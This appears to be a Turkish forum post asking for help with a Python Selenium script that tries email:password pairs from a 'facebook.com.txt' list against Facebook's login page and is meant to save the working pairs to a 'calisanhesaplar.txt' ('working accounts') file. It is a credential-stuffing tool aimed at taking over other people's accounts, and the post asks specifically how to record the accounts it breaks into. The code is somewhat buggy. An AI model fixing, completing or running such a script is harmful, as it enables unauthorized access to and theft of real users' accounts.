@YenilenPehlivan; Hocam rahatsız ediyorum kusura bakmayın ama. Ben şimdi kodu yazdım teker teker hesapları deniyor sonra bi hesaba başarılı bi şekilde giriş yapıyor. Giriş yapabildiğini anlamayıp deneme yapmaya devam ediyor. Girilen hesabın bilgilerini txt dosyasına nasıl yazdıracağım?
from selenium import webdriver
import time
from selenium.webdriver.common.by import By
driver = webdriver.Chrome()
# Open the file containing the login information
with open("facebook.com.txt") as f:
# Read each line in the file
for line in f:
# Split the line into email and password
email, password = line.strip().split(":")
# Attempt to log in
try:
driver.maximize_window()
driver.get("http://facebook.com/")
calisan_hesaplar = open("calisanhesaplar.txt", "w")
username = driver.find_element(By.XPATH, "//*[@id='email']")
username.send_keys(email)
passwd = driver.find_element(By.XPATH, "//*[@id='pass']")
passwd.send_keys(password)
loginbutton = driver.find_element(By.XPATH, "/html/body/div[1]/div[1]/div[1]/div/div/div/div[2]/div/div[1]/form/div[2]/button")
loginbutton.click()
# If login is successful, write the email and password to the "calisanhesaplar.txt" file
calisan_hesaplar.write = f"{email}:{password}\n"
except:
# If login is unsuccessful, do nothing and move on to the next login attempt
pass
# Close the "calisanhesaplar.txt" file
calisan_hesaplar.close()